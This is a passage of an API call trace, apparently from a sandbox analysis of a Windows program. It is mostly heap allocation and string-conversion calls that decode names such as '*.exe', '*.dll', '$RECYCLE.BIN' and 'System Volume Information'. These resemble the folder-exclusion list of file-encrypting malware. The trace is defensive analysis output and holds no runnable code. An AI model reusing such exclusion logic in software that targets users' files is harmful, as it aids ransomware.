Flags=0x0, BaseAddress=0xa9c168) returned 1 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2a8) returned 1 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d600) returned 1 [0136.832] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d600 [0136.832] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2a8 [0136.832] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c168 [0136.832] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2b8 [0136.832] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1b0 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2c8) returned 1 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1f8) returned 1 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2d8) returned 1 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d5e8) returned 1 [0136.832] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d5e8 [0136.832] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2d8 [0136.832] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1f8 [0136.832] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2c8 [0136.832] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c168) returned 1 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2a8) returned 1 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1b0) returned 1 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2b8) returned 1 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d600) returned 1 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x982850) returned 1 [0136.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0136.832] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9d9d0 [0136.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c1f8, cbMultiByte=5, lpWideCharStr=0xa9d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0136.832] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9da58 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d9d0) returned 1 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d600 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2b8 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9d9d0 [0136.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9da58) returned 1 [0136.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9da58 [0136.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c288, cbMultiByte=5, lpWideCharStr=0xa9da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9dae0 [0136.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9da58) returned 1 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2a8 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9da58 [0136.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9dae0) returned 1 [0136.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1f8) returned 1 [0136.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2d8) returned 1 [0136.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2c8) returned 1 [0136.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d5e8) returned 1 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2800) returned 0x982850 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d5e8 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2c8 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1f8 [0136.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2d8 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1b0 [0136.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d298 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c168 [0136.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d288 [0136.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa9bc08 [0136.834] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d5e8) returned 1 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d278 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c240 [0136.834] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d268 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.834] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d258 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x985058 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d248 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c5e8 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d238 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c630 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d228 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c678 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d218 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c6c0 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d208 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c708 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d1e8 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c750 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d1f8 [0136.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c798 [0136.834] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1f8) returned 1 [0136.834] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2c8) returned 1 [0136.834] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1b0) returned 1 [0136.834] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2d8) returned 1 [0136.834] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c168) returned 1 [0136.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d298) returned 1 [0136.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d288) returned 1 [0136.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c240) returned 1 [0136.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d278) returned 1 [0136.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d268) returned 1 [0136.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d258) returned 1 [0136.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bc08) returned 1 [0136.835] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.835] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.835] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d5e8 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d258 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d268 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d278 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c240 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d288 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa9bc08 [0136.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d5e8) returned 1 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d298 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c168 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2d8 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1b0 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2c8 [0136.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1f8 [0136.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c5e8) returned 1 [0136.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d248) returned 1 [0136.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c630) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d238) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c678) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d228) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c6c0) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d218) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c708) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d208) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c750) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d1e8) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c798) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d1f8) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985058) returned 1 [0136.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x985058 [0136.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d1f8 [0136.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c798 [0136.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d1e8 [0136.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c750 [0136.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d208 [0136.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c708 [0136.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d218 [0136.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c6c0 [0136.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d228 [0136.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c678 [0136.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d238 [0136.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c630 [0136.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d248 [0136.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c5e8 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d258) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d268) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c240) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d278) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d288) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c168) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d298) returned 1 [0136.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1b0) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2d8) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1f8) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2c8) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bc08) returned 1 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa9bc08 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2c8 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1f8 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2d8 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1b0 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d298 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c168 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d288 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d278 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c240 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d268 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d258 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c798) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d1f8) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c750) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d1e8) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c708) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d208) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c6c0) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d218) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c678) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d228) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c630) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d238) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c5e8) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d248) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985058) returned 1 [0136.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x982850) returned 1 [0136.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9dae0 [0136.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c1f8, cbMultiByte=25, lpWideCharStr=0xa9dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0136.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9db68 [0136.839] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9dae0) returned 1 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d5e8 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d248 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9dae0 [0136.839] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9db68) returned 1 [0136.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9db68 [0136.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c1b0, cbMultiByte=12, lpWideCharStr=0xa9db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9dbf0 [0136.839] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9db68) returned 1 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d238 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9db68 [0136.839] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9dbf0) returned 1 [0136.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9dbf0 [0136.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c168, cbMultiByte=8, lpWideCharStr=0xa9dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9dc78 [0136.839] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9dbf0) returned 1 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d228 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9dbf0 [0136.839] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9dc78) returned 1 [0136.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9dc78 [0136.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c120, cbMultiByte=6, lpWideCharStr=0xa9dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9dd00 [0136.839] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9dc78) returned 1 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d218 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9dc78 [0136.839] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9dd00) returned 1 [0136.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9dd00 [0136.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c240, cbMultiByte=11, lpWideCharStr=0xa9dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9dd88 [0136.839] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9dd00) returned 1 [0136.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 